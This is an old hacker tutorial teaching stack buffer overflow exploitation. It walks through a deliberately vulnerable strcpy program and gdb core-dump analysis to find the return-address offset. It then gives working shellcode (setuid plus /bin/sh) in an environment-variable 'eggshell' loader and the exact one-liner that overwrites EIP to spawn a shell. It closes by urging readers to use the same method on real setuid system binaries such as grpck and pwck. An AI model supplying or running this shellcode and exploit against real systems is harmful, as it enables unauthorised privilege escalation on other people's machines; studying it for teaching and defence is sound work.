Buffer Overflows for Kids part 2 - This is part two, the follow on from bofs4kids. In this tutorial I am going to attempt to give you the knowledge to be able to e exploit a program, without coding in C. But we will need to use gdb quite a bit, so any prior knowledge would be helpful but not necessary.
39a87ffcaf6f339e334dc1cda6f41e33561a41b19cd6e1c899d2b2fa9e343ef2
____ __ __ ___ ____
| __ ) _ _ / _|/ _| ___ _ __ / _ \__ _____ _ __ / _| | _____ _____
| _ \| | | | |_| |_ / _ \ '__| | | | \ \ / / _ \ '__| |_| |/ _ \ \ /\ / / __|
| |_) | |_| | _| _| __/ | | |_| |\ V / __/ | | _| | (_) \ V V /\__ \
|____/ \__,_|_| |_| \___|_| \___/ \_/ \___|_| |_| |_|\___/ \_/\_/ |___/
_____ _ ___ _
| ___|__ _ __ | |/ (_) __| |___
| |_ / _ \| '__| | ' /| |/ _` / __|
| _| (_) | | | . \| | (_| \__ \
|_| \___/|_| |_|\_\_|\__,_|___/
PART II by bob [www.dtors.net]
[[--Introduction--]]
This is part two, the follow on from bofs4kids. If you not have read the first one i suggest you
do so. The first one gives you a good understanding of whats what.
Now in this tutorial im going to attempt to give you the knowledge to be able to exploit
a program, without coding in C. But we will need to use gdb quite a bit, so any prior knowledge
would be helpful but not necessary.
As usual ill do the jargon buster first so that we can get the confusing words or abbrieviations
out of the way.
[[--Jargon Buster--]]
esp - is a register known as the extended stack pointer
ebp - is a register known as the extended base pointer
eip - is a register known as the extended instruction pointer
gdb - i hope you know what this is, but for those of you that dont, gdb is a program used to
dissasemble other programs.
[[--Where to begin--]]
Well as we arent going to code anything in this tutorial, and we are still going to learn how to
exploit something without coding, i think i had better explain how we are going to do this.
Lets look at my vulnerable program below.
---------------------------------cut-here--------------------------
// bof.c by bob
#include <stdio.h>
int main(int argc, char * argv[]) {
char buf[256];
if(argc == 1) {
printf("Usage: %s input\n", argv[0]);
exit(0);
}
strcpy(buf,argv[1]);
printf("%s", buf);
}
---------------------------------cut-here--------------------------
Just incase you dont understand that, ill take you through each line.
int main(int argc, char * argv[]) { -- This is our main function...we declare two variables also.
char buf[256]; -- We now declare a variable called buf that is defined to hold 256 chars.
if(argc == 1) { -- We are saying here if we dont have any user defined input then..
printf("Usage: %s input\n", argv[0]); -- ..Print usage.
exit(0); -- Exit our main function.
strcpy(buf,argv[1]); -- Otherwise copy what the user types into buf.
printf("%s", buf); -- Print the contents of buf.
Can you see why this program is vulnerable? I hope you can...if not here is why.
We have a variable called buf that can only hold 256 chars.....and we copy the user input
into buf with strcpy(). Soooo if the user was to send over 256 chars it would overflow.
Not to hard to follow...
[[--Overflowing--]]
This bit is very easy also.
Lets see what happens when we run our program with no user input.
[bob@dtors bob]$ ./bof
Usage: ./bof input
[bob@dtors bob]$
Ok so lets give it something to play with.
[bob@dtors bob]$ ./bof bob
bob
[bob@dtors bob]$
There we can see that it has taken our input, copied it into buf, and then printed it to our
screen.
So lets send more than its designed to hold. [Overflow it]
[bob@dtors bob]$ ./bof `perl -e 'print "A" x 272'`
Segmentation fault (core dumped)
[bob@dtors bob]$
Ohhh it didnt like that! Lets examine the core.
[bob@dtors bob]$ gdb -c core ./bof
Core was generated by ./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info reg
eax 0xa 10
ecx 0x40014000 1073823744
edx 0x400fe660 1074783840
ebx 0x400ffed4 1074790100
esp 0xbffff910 0xbffff910
ebp 0x41414141 0x41414141
esi 0x4000acb0 1073786032
edi 0xbffff954 -1073743532
eip 0x4000ade1 10737435320
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
As you see here we have overwritten our ebp with 0x41414141.
But what we wanted to do was overwrite the eip.
The ebp and eip are 4 bytes each, and as we have only overwritten the ebp. It
would be sensible to say that if we add 4 more bytes we will overwrite the eip.
This is how the memory layout looks like:
__|__
| |
| EBP | - 4 byte address
|_____|
__|__
| |
| EIP | - next 4 byte address
|_____|
Lets see:
[bob@dtors bob]$ ./bof `perl -e 'print "A" x 264'`
Segmentation fault (core dumped)
[bob@dtors bob]$ gdb -c core ./bof
Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info reg
eax 0xa 10
ecx 0x40014000 1073823744
edx 0x400fe660 1074783840
ebx 0x400ffed4 1074790100
esp 0xbffff910 0xbffff910
ebp 0x41414141 0x41414141
esi 0x4000acb0 1073786032
edi 0xbffff954 -1073743532
eip 0x41414141 0x41414141
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
There we can see the eip is now overwritten also!
[[--Changing the RET address--]]
Now that we no how much to overflow bof.c by to overwrite the eip,
we can go onto making it execute a shell.
In order to do this we will use an eggshell.
---------------------------------cut-here--------------------------
/* bish.c
*
* bob [www.dtors.net]
*
* Generic eggshell, was tested and
* works on:
*
* FreeBSD 4.6-PRERELEASE
* FreeBSD 4.5-RELEASE
* OpenBSD 3.0
* NetBSD 1.5.2
* Linux 2.0.36
* Linux 2.2.12-20
* Linux 2.2.16-22
* Linux 2.4.7-xfs
*
* Shellcode by zillion@safemode.org, added setuid().
*/
#include <stdio.h>
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
char bish[512];
puts("Bish loaded into enviroment");
puts(" Bish.c by bob@dtors.net");
memset(bish,0x90,512);
memcpy(&bish[512-strlen(shellcode)],shellcode,strlen(shellcode));
memcpy(bish,"BISH=",5);
putenv(bish);
execl("/bin/bash","bash",'\0');
return(0);
}
---------------------------------cut-here--------------------------
[bob@dtors bob]$ cc bish.c -o bish ; ./bish
[bob@dtors bob]$
Now we have loaded BISH into our environment, so all we need to do now is
overflow our program again but this time instead of overwriting the eip with 0x41414141,
we will overwrite it an address that points to our shellcode.
First off we need to find the address of our shellcode.
So lets overflow the program again, and examine the core.
[bob@dtors bob]$ ./bof `perl -e 'print "A" x 264'`
Segmentation fault (core dumped)
[bob@dtors bob]$ gdb -c core ./bof
Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) x/s $esp
0xbffff7b0: "ë\222\004@\001"
(gdb)
0xbffff7b6: ""
Now keep pressing Enter until you see your SHELLCODE env and NOPS.
0xbffffcbe: "MAIL=/var/spool/mail/bob"
(gdb)
0xbffffcdc: "BISH=", '\220' <repeats 190 times>...
(gdb)
0xbffffdc2: '\220' <repeats 200 times>...
(gdb) x/x 0xbffffdc2
0xbffffdc2: 0x90909090
(gdb)q
[bob@dtors bob]$
Our NOPS are here: 0xbffffdc2: '\220' <repeats 200 times>...
So pointing to this address is fine, because NOPS are not proccessed, so it will go
throughall the NOPS until it hits our shellcode/BISH environment.
Now we have to convert this address to little endian, to do this we write it backwards.
0xbffffdc2 - 0x = bffffdc2 - the 0x isnt needed.
bffffdc2 backwards = c2fdffbf
Then we add \x to each byte.
c2 fd ff bf = \xc2\xfd\xff\xbf
There we have our address that we are going to overwrite the EIP with, to point
to our shellcode.
So lets give it a shot:
[bob@dtors bob]$ ./bof `perl -e 'print "A" x 260'``printf "\xc2\xfd\xff\xbf"`
sh-2.05$
Wollah! We pointed it to our shellcode and it worked! We didnt get a root shell because
bof was not setuid, or owned by root.
Also notice that we only flooded with 260 A's, thats because our address was 4 bytes,
which makes up for the 4 bytes we took off.
[[--Conclusion--]
Well this method i used here is by no means a NEW way to do it, its just an easier way.
If you want you can try this method on some REAL vulnerable programs such as:
/usr/sbin/grpck
/usr/sbin/pwck
They can be exploited in the exact way i have shown you here.
IF you find that this way for some reason is not working for you, [i had this problem a
few days back when i reinstalled my OS] then upgrade bash to 2.05. You can get it
at ftp.gnu.org/gnu/bash
Regards
bob [bob@dtors.net]
[[--Links--]]
http://www.dtors.net
http://community.core-sdi.com/~gera/InsecureProgramming/
http://www.netric.org
http://hack.datafort.net
http://www.11a.nu/stack/stack-smash.txt
http://www.11a.nu/stack/heaptut.txt
http://www.11a.nu/stack/exploit.txt
http://www.11a.nu/stack/adv.overflow.paper.txt